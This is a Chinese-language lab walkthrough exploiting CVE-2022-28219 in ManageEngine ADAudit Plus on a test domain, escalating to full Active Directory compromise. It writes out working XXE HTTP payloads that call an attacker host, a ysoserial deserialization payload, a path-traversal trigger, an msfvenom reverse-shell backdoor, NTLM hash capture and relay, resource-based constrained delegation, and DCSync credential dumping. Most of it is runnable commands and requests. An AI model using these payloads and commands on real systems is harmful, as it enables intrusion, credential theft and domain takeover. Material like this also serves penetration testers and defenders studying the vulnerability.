需要一个域环境,将机器提升为域控之后。安装managerEngine,直接下载好拖到域控上安装即可。安装完成之后,访问dc的8081端口(默认为8081)。
默认账号为admin/admin,managerEngine也能默认识别到当前登录域的netbios
MangeEngine机器(dc)
域名
攻击机(kali)
192.168.20.246
fbi.gov
192.168.20.151
首先使用ysoserial生成反序列化payload(使用CommonBeanutils1 gadget)。 java -jar ysoserial-all.jar CommonsBeanutils1 calc.exe > xxe-upload-test.jar
(https://2013.appsecusa.org/2013/wp-content/uploads/2013/12/WhatYouDidntKnowAboutXXEAttacks.pdf 在这里提到,通过xxe我们可以上传文件和列举目录 可以使用这个ftp服务器来使文件驻留到目标服务器中。)
使用BlockingServer,可以使用这个ftp服务器来使文件驻留到目标服务器中。 java BlockingServer 9090 xxe-upload-test.jar
之后发送数据包
`POST /api/agent/tabs/agentData HTTP/1.1 Host: 192.168.20.246:8081 Accept-Encoding: gzip, deflate Accept: */* Connection: keep-alive Content-Length: 316 Content-Type: application/json [ { "DomainName": "fbi.gov", "EventCode": 4688, "EventType": 0, "TimeGenerated": 0, "Task Content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?><!DOCTYPE foo [<!ENTITY ssrf SYSTEM \"jar:http://192.168.20.151:9090/xxe-upload-test.jar!/myfile.txt\"> ]><foo>&ssrf;</foo>" } ]`
BlockingServer 提供文件并保持连接打开,因此临时文件不会被删除。
利用XXE漏洞定位上传payload的文件路径。我们在这里使用 GitHub 项目中的 XXE FTP 服务器来泄露目录列表以找到有效负载: python2 xxe-ftp-server.py 192.168.20.151 3000 2121
发送数据包。
`POST /api/agent/tabs/agentData HTTP/1.1 Host: 192.168.20.246:8081 Accept-Encoding: gzip, deflate Accept: */* Connection: keep-alive Content-Length: 393 Content-Type: application/json [ { "DomainName": "fbi.gov", "EventCode": 4688, "EventType": 0, "TimeGenerated": 0, "Task Content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?><!DOCTYPE data [ <!ENTITY % file SYSTEM \"file:///C:/Users/fbi/AppData/Local/Temp/\"> <!ENTITY % dtd SYSTEM \"http://192.168.20.151:3000/data.dtd\"> %dtd;]><data>&send;</data>" } ]`
找到通过ftp上传的临时文件
`curl --path-as-is -v http://192.168.20.246:8081/cewolf/a.png?img=/../../../../../../../../../users/fbi/appdata/local/temp/jar_cache5024000158749136930.tmp`
成功触发payload
win.ini文件内容。
脚本获取win.ini内容
`python3 CVE-2022-28219.py -t http://192.168.20.246:8081/ -l 192.168.20.151 -d fbi.gov -f /windows/win.ini`
执行命令:
`python3 CVE-2022-28219.py -t http://192.168.20.246:8081/ -l 192.168.20.151 -d fbi.gov -c calc.exe`
于手工触发的流程一致,多了一个列user目录的过程,来探测当前机器上的用户和用户目录。
找到生成的临时文件tmp之后发送请求访问上传的tmp文件来触发漏洞导致命令执行。
我们在攻击者机器上运行著名的响应器工具
`python3 Responder.py -I eth0`
发送一个请求来触发 XXE 并让 ADAudit Plus 服务器连接回攻击 IP
`POST /api/agent/tabs/agentData HTTP/1.1 Host: 192.168.20.246:8081 Accept-Encoding: gzip, deflate Accept: */* Connection: keep-alive Content-Length: 393 Content-Type: application/json [ { "DomainName": "fbi.gov", "EventCode": 4688, "EventType": 0, "TimeGenerated": 0, "Task Content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?><!DOCTYPE foo [ <!ENTITY % xxe SYSTEM \"http://192.168.20.151\"> %xxe; ]>" } ]`
获取用户fbi的net-ntlmhash,后续可以使用hashcat尝试破解NTLMv2hash。
如果在目标机器上的jdk版本有问题导致无法rce,只存在xxe的情况下作何利用?
ntlmrelay原理:
基本流程如上图所示,在客户端的视角里,攻击者就是他要访问的服务端,它在与攻击者这台主机进行NTLM认证,而整个流程也只有攻击者这台主机与其进行交互。在服务端的视角里,攻击者是客户端,是攻击者在向服务端证明自己的身份。通过中间人攻击的方法,攻击者可以伪造成客户端来完成身份验证。整个ntlm认证过程中,攻击者相当于一个中间人的作用,在不同的认证流程中,扮演不同的认证角色。
默认情况,dc开启smb签名认证。其他域内主机未开启。
攻击机kali使用smbrelayx临时起一个SMB服务。
`impacket-smbrelayx -h 192.168.20.111 -c hostname`
利用xxe发送http请求
在机器上执行命令成功。
或者通过可执行文件直接上线。(工具smbrelay)(联动msf的远控) 生成一个后门文件。
`msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.20.151 lport=4444 -f exe -o exp.exe `
开启smb服务,让目标机器获取攻击机kali的smb服务上的exp.exe并且执行。
`impacket-smbrelayx -h 192.168.20.111 -e exp.exe`
通过xxe发送请求
目标机器上线msf 但是session上线之后会自动断掉。
后面查阅到 需要使用exploit/multi/handler,配置AutoRunScript,当获取到shell让他进程自动迁移,避免shell文件被删除时连接的shell断开。并且此时弹回来的权限为system。
(在横向移动中,445端口用来进行net use的ipc连接,在工具smbrelayx中,起一个445的smb server来执行命令,还是工具中用到了wmic来执行命令并且通过ipc连接来读取命令执行的结果。同理上线msf也是一样,通过wmic来执行命令获取到攻击机kali的smb上的远控木马到本地,之后再通过wmic去执行命令执行并上线)
如果中继到的机器是2016及以上(这里添加一个域内机器为2016),可以看到调用rpc执行是失败的(rpc默认在这些机器上被禁用)
那么遇到这种情况如何解决?就引出下文的基于资源的约束委派。
获取到域内一个用户的凭据,账号密码为fbi/p@ssw0rd,此时通过这个账号去添加机器账号
`python3 addcomputer.py -method SAMR -dc-ip 192.168.20.246 -computer-name 7niuzi -computer-pass 123456 "fbi.gov/fbi:p@ssw0rd"`
`python3 ntlmrelayx.py -t ldap://dc01.fbi.gov -debug -ip 192.168.20.151 --delegate-access --remove-mic -smb2support --escalate-user 7niu\$`
中继到ldap之后,刚开始使用ntlmrelayx的时候,总是默认导出ldap的信息,同时因为admanager。此工具尝试从域中收集尽可能更多的信息,包括用户,其组成员身份,域计算机和域策略。
除了收集信息之外,还可以通过LDAP写入目录。如果ntlmrelayx遇到具有域管理员权限的用户,它将创建一个新的域管理员帐户,该帐户立即使攻击者可以完全控制域
这里自动将新建的机器账号添加到最高的域管组中,此时该机器账户具有dcsync功能。
`impacket-secretsdump 7niu\$:123456@dc01.fbi.gov`
如果权限不够的情况下,或者忽略掉工具ntlmrelayx给我们带来的判断权限和自动提升为Enterprise admins组的成员,进行正常的基于资源的约束委派攻击来获取w12主机的权限。再添加一个机器账号。
`impacket-ntlmrelayx -t ldap://192.168.20.246 -debug -ip 192.168.20.151 --delegate-access --no-dump --no-da --no-acl --no-validate-privs --escalate-user dandan\$ 参数功能相关: --delegate-access 将中继计算机帐户的访问权限委派给指定帐户 --no-dump 不要尝试转储 LDAP 信息 --no-da 不要尝试添加域管 --no-acl 禁用 ACL 攻击 --no-validate-privs不要尝试枚举权限,假设权限被授予通过 ACL 攻击升级用户`
以上通过这些参数来让他仅执行一个基于资源的约束委派,不需要通过枚举之前的枚举权限之类或者acl之类的攻击操作。
burpsuite发包触发xxe,目标机发起http请求。
将凭据中继到域控服务器的LDAP服务上设置基于资源约束委派成功。
票据申请
`impacket-getST dc-ip 192.168.20.246 fbi.gov/dandan$:123456 -spn cifs/w12.fbi.gov -impersonate administrator`
票据导入
`export KRB5CCNAME=administrator.ccache`
psexec直接登录w12机器。
`impacket-psexec -no-pass -k w12.fbi.gov`
ldap信息中该机器账号的msDS-AllowedToActOnBehalfOfOtherIdentity属性值
1./api/agent/configuration/getAgentServerInfo 接口中,如果配置了agent之后会有完整的fqdn
2.managerengine登录的时候会显示netbios。
3.如果能遇到存在exchang的,也能够通过exchange的接口获取fqdn。
查看ldap信息w12机器的
另外Java在使用内置类 sun.net.www.protocol.http.HttpURLConnection 发送HTTP请求遇到状态码为401的HTTP返回头时,会判断该页面要求使用哪种认证方式,若采用的NTLM认证则会自动使用当前用户凭据进行认证。如果目标机器未开启防火墙来禁止外部请求smb,或者未对smb进行签名,攻击者便能依此获取NTLM认证请求。
https://blog.ateam.qianxin.com/post/zhe-shi-yi-pian-bu-yi-yang-de-zhen-shi-shen-tou-ce-shi-an-li-fen-xi-wen-zhang/ https://www.horizon3.ai/red-team-blog-cve-2022-28219/ https://xlab.tencent.com/cn/2019/03/18/ghidra-from-xxe-to-rce/